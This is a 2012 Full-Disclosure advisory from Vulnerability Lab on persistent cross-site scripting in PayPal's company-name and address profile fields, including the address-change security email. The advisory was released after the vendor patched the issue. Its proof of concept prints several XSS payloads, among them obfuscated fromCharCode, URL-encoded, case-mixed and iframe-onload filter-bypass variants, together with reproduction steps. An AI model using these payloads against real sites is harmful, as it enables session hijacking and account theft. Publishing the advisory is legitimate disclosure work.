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[Full-disclosure] Paypal BugBounty #9 - Persistent Web Vulnerabilities [FULL]
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Paypal BugBounty #9 - Persistent Web Vulnerabilities [FULL]
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 02 Oct 2012 07:44:04 +0200
Title:
======
Paypal BugBounty #9 - Persistent Web Vulnerabilities
Date:
=====
2012-10-02
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=646
VL-ID:
=====
646
Common Vulnerability Scoring System:
====================================
7.2
Introduction:
=============
PayPal is a global e-commerce business allowing payments and money transfers to
be made through the Internet. Online money
transfers serve as electronic alternatives to paying with traditional paper
methods, such as checks and money orders. Originally,
a PayPal account could be funded with an electronic debit from a bank account
or by a credit card at the payer s choice. But some
time in 2010 or early 2011, PayPal began to require a verified bank account
after the account holder exceeded a predetermined
spending limit. After that point, PayPal will attempt to take funds for a
purchase from funding sources according to a specified
funding hierarchy. If you set one of the funding sources as Primary, it will
default to that, within that level of the hierarchy
(for example, if your credit card ending in 4567 is set as the Primary over
1234, it will still attempt to pay money out of your
PayPal balance, before it attempts to charge your credit card). The funding
hierarchy is a balance in the PayPal account; a
PayPal credit account, PayPal Extras, PayPal SmartConnect, PayPal Extras Master
Card or Bill Me Later (if selected as primary
funding source) (It can bypass the Balance); a verified bank account; other
funding sources, such as non-PayPal credit cards.
The recipient of a PayPal transfer can either request a check from PayPal,
establish their own PayPal deposit account or request
a transfer to their bank account.
PayPal is an acquirer, performing payment processing for online vendors,
auction sites, and other commercial users, for which it
charges a fee. It may also charge a fee for receiving money, proportional to
the amount received. The fees depend on the currency
used, the payment option used, the country of the sender, the country of the
recipient, the amount sent and the recipient s account
type. In addition, eBay purchases made by credit card through PayPal may incur
extra fees if the buyer and seller use different currencies.
On October 3, 2002, PayPal became a wholly owned subsidiary of eBay. Its
corporate headquarters are in San Jose, California, United
States at eBay s North First Street satellite office campus. The company also
has significant operations in Omaha, Nebraska, Scottsdale,
Arizona, and Austin, Texas, in the United States, Chennai, Dublin, Kleinmachnow
(near Berlin) and Tel Aviv. As of July 2007, across
Europe, PayPal also operates as a Luxembourg-based bank.
On March 17, 2010, PayPal entered into an agreement with China UnionPay (CUP),
China s bankcard association, to allow Chinese consumers
to use PayPal to shop online.PayPal is planning to expand its workforce in Asia
to 2,000 by the end of the year 2010.
Between December 4ñ9, 2010, PayPal services were attacked in a series of
denial-of-service attacks organized by Anonymous in retaliation
for PayPal s decision to freeze the account of WikiLeaks citing terms of use
violations over the publication of leaked US diplomatic cables.
(Copy of the Homepage: www.paypal.com) [http://en.wikipedia.org/wiki/PayPal]
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple Web
Vulnerabilities in the official Paypal ecommerce website application.
Report-Timeline:
================
2012-07-06: Researcher Notification & Coordination
2012-07-06: Vendor Notification
2012-08-15: Vendor Response/Feedback
2012-09-12: Vendor Fix/Patch
2012-10-02: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
A persistent input validation vulnerability is detected in the official Paypal
ecommerce website content management system (Customer/Pro/Seller).
The bugs allow remote attackers to implement/inject malicious script code on
the application side (persistent) of the paypal web service.
The vulnerability is located in the company profile input fields with the bound
vulnerable address_id, details (mail) & companyname parameters.
The bug affects the important user profile listing, the address listings &
security notification (mail). The persistent vulnerability is also
located in the mail security notification (delete address) module with the
bound vulnerable companyname parameters. The vulnerability can be
exploited by remote attackers with low required user inter action and
privileged Customer/Pro/Seller account. Successful exploitation of the
vulnerability can lead to session hijacking (customers), account steal via
persistent web attack, persistent phishing or stable (persistent)
context manipulation in all sections/module were the vulnerable companyname
get displayed.
Vulnerable Type(s):
[+] Customer/Pro/Seller Accounts
Vulnerable Section(s):
[+] Mein Konto > Mein Profil > Addresse hinzufügen
oder Bearbeiten
[+] Register > Account > Details
Vulnerable Module(s):
[+] Companyname (Geschäftsinhaber)
Vulnerable Parameter(s):
[+] details
[+] address_id
[+] companyname
Affected Section(s):
[+] User Profile - Geschäftsinhaber - User Profil
(Mein Konto) Listing
[+] Adresse Profil - Listing
[+] Security Notification Mail
Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with Customer/Pro/Seller
Account & low required user inter action.
For demonstration or reproduce ...
Review: User Profile - Geschäftsinhaber - User Profil (Mein Konto) Listing
(Script Code Execution)
<div class="details">
<span>"><[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<])' <<="" span="">
<div class="small secondary">Unternehmenstyp, URL und mehr
bearbeiten...</div>
</div>
Review: Adresse Profil - Listing (Script Code Execution)
<div id="messageBox"></div><div id="main"><div class="layout1"><div
class="datatable"><table id="viewtable" summary="street addresses"
cellspacing="0"><colgroup><col width="35%"><col width="25%"><col
width="*"></colgroup><thead><tr><th>Adresse</th><th>Zugehörige Kreditkarten
</th><th>Status</th></tr></thead><tbody><form method="post"
action="https://www.paypal.com/de/cgi-bin/webscr?cmd=_profile-address-submit&;
dispatch=5885d80a13c0db1f8e263663d3faee8d8494db9703d295b4a2116480ee01a05c"
class=""></form><tr><td><input name="return" value="" type="hidden">
<input name="address_id"
value="Qf3ntYQLgs25E1DBKd3un5JfZvip1l3kwgj2iBMne1UpaAD8yEcic32OZN0"
type="hidden"><input name="card_count" value="0"
type="hidden"><span class="emphasis">"><[>INJECTED PERSISTENT SCRIPT CODE AS
COMPANY NAME!<])' <<br="">
PoC: Mail Security Notification (Sie haben Ihre Adresse geändert)
Manually Reproduce ...
1. Create an account with script code as companyname input field
2. Switch after registration with the account to the Mein Konto > Mein Profil >
Addresse hinzufügen oder Bearbeiten module
3. Click the delete/entfernen button of the account with the script code as
companyname
4. A mail got send normally with the following context ...
Sie haben Ihre Adresse geändert
Guten Tag, Evolution Security! // Companyname (Evolution Security)
Wir möchten nur kurz bestätigen, ...
5. After the inject the get parsed in all instances of the application since it
will be automatic used by the mail notification
6. The mail notification (security reason) only parse the address values and
details context
7. The companyname is outside of the parsed generated template context, which
results in the persistent execution of the malicious script code (js|html)
8. Reproduced ...
Sie haben Ihre Adresse geändert</span></h2></td></tr></tbody></table>
<p>Guten Tag, >"<[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<]>!</p>Wir
möchten nur kurz bestätigen, dass Sie eine Adresse in Ihrem
PayPal-Konto geändert haben.<h3>Hier die Details:</h3>
<!--[if gte mso 9]><style>.simpleSummaryTable {cell-spacing:5px !important;
font:0.75em Verdana, Arial, Helvetica, sans-serif
!important;}</style><![endif]-->
Review: Mail Security Notification (Sie haben Ihre Adresse geändert)
<tbody><tr valign="top"><td colspan="3"><table border="0" cellpadding="0"
cellspacing="0" width="100%"><tbody><tr valign="top"><td><a
href="https://www.paypal.com/de";><img
src="http://images.paypal.com/en_US/i/logo/logo_emailheader_113wx46h.gif";
alt="PayPal" border="0">
</a></td></tr><tr><td><img alt=""
src="http://images.paypal.com/en_US/i/scr/pixel.gif"; border="0" height="10"
width="1"></td></tr><tr><td>
</td></tr></tbody></table></td></tr><tr><td colspan="3"><img
src="http://images.paypal.com/en_US/i/scr/
scr_emailTopCorners_580wx13h.gif" style="vertical-align: bottom;" alt=""
border="0" height="13"></td></tr><tr><td style="background:
url("/i/scr/scr_emailLeftBorder_13wx1h.gif") repeat-y scroll left center
transparent; border-left: 1px solid rgb(221, 221, 221);"
width="12"><img src="http://images.paypal.com/en_US/i/scr/pixel.gif"; alt=""
border="0"></td><td class="contentArea" style="width: 530px;
word-wrap: break-word; padding: 12px; margin: 0px;" width="530"><table style=""
width="100%"><tbody><tr><td><h2><span style="font-weight:
bold; color: rgb(200, 128, 57); font-size: 15px;" class="outlookFix">Sie haben
Ihre Adresse geändert</span></h2></td></tr></tbody></table>
<p>Guten Tag, >"<[>INJECTED PERSISTENT SCRIPT CODE AS COMPANY NAME!<]>!</p>Wir
möchten nur kurz bestätigen, dass Sie eine Adresse in Ihrem
PayPal-Konto geändert haben.<h3>Hier die Details:</h3>
<!--[if gte mso 9]><style>.simpleSummaryTable {cell-spacing:5px !important;
font:0.75em Verdana, Arial, Helvetica, sans-serif
!important;}</style><![endif]-->
<table border="0" cellpadding="5" cellspacing="0" class="simpleSummaryTable"
style="font:1em Verdana, Arial, Helvetica, sans-serif;
border:1px solid #eee;margin-top:10px;border-right:0;margin-bottom:20px;"
width="100%"><tr><th style="background-color:#eee;
text-align:right; font-weight:normal; color:#333; margin:0px"
width="180">Name:</th><td style="color:#333;" width="350">Evolution
Security</td></tr><tr><th style="background-color:#eee; text-align:right;
font-weight:normal; color:#333; margin:0px"
width="180">Adresse:</th><td style="color:#333;" width="350">s<br/><html><body>
<
button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,
101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,114,
105,112,116,105,1
10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));">String:fr
om.Char.Code</button&
gt;</body></html> %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43%72%6F
%73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67
%32%22%29%3C%2F %73%63%72%69%70%74%3E >"<ScriPt>ALeRt("xssOBFSbypass")</scriPt>
"><iframe src=a onload=alert("HI") <<br/>-1' <html><body> <
button.onclick="alert(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,
101,114,116,40,34,67,114,111,115,115,83,105,116,101,83,99,1
14,105,112,116,105,1
10,103,64,82,69,77,79,86,69,34,41,60,47,115,99,114,105,112,116,62));"
>String:fr om.Char.Code</button></body></html>
>%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%43
%72%6F %73%73%53%69%74%65%53%63%72%69%70%74%69%6E%67%32%22%29%3C%2F
%73%63%72%69%70%74%3E >"<ScriPt>ALeRt("xssOBFSbypass")&
lt;/scriPt> "><iframe src=a onload=alert("HI")
<<br/>Deutschland<br/></td></tr></table>
<p>Wenn Sie Ihre Kreditkarte bei dieser Adresse registrieren oder die Adresse
als Standardadresse angeben möchten, loggen Sie sich in
Ihr PayPal-Konto ein, und klicken Sie auf "Mein Profil".</p>Wenn Sie diese
Änderung nicht vorgenommen haben, <a href="
https://www.paypal.com/de/cgi-bin/helpscr?cmd=_help&t=escalateTab";>lassen Sie
es uns umgehend wissen</a>. Es ist wichtig, uns
Bescheid zu geben, damit wir sicherstellen können, dass niemand ohne Ihr Wissen
auf Ihr Konto zugreift.<p>Viele Grüße<br/>Ihr Team
von PayPal</p></td><td width="12"
style="background:url(/i/scr/scr_emailRightBorder_13wx1h.gif) left
repeat-y;border-right:1px solid #ddd;
"><img src="http://images.paypal.com/en_US/i/scr/pixel.gif"; border="0"
alt=""/></td></tr><tr><td colspan="3">
<img height="13"
src="http://images.paypal.com/en_US/i/scr/scr_emailBottomCorners_580wx13h.gif";
border="0" alt=""/></td></tr>
</table><table border="0" cellpadding="0" cellspacing="0" id="emailFooter"
style="padding-top:20px;font:10px Verdana, Arial, Helvetica,
sans-serif;color:#333;" width="580"><tr><td><div class="footerLinks"
style="margin: 5px 0; padding: 0;"><a target="_new"
href="https://www.paypal.com/de/cgi-bin/helpweb?cmd=_help";>Hilfe-Center</a><span
style="color:#ccc;"> | </span><a
target="_new"
href="https://www.paypal.com/de/security";>Sicherheits-Center</a></div><p>Bitte
antworten Sie nicht auf diese
E-Mail. E-Mails an diese Adresse werden von uns nicht gelesen. Um mit einem
Mitarbeiter unseres Kundenservice zu sprechen, loggen Sie sich in Ihr
PayPal-Konto ein und klicken Sie unten auf "Kontakt".</p><p>Copyright © 2012
PayPal. Alle Rechte vorbehalten.<br/><br/>PayPal
(Europe) S.à r.l.et Cie, S.C.A.<br/>Société en Commandite par Actions<br/>Sitz:
22-24 Boulevard Royal, L-2449 Luxemburg<br/>RCS
Luxemburg B 118 349</p><img height="1" width="1"
src="https://102.112.2O7.net/b/ss/paypalglobal/1/G.4--NS/123456?pageName=system_email_PP006";
border="0" alt=""/><p class="xptFooter ppid">PayPal-E-Mail-ID
PP006</p></td></tr></table></div></body>
</html>
</body>
</html>
</iframe></p></td></tr></tbody>
Solution:
=========
Restrict the companyname input value and parse with an exception handling or
secure filter mask. Parse the companyname, addressid &
details output of the security mail notification to prevent script code
injects/executions.
Risk:
=====
The security risk of the persistent script code inject vulnerability is
estimated as high(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
Disclaimer:
===========
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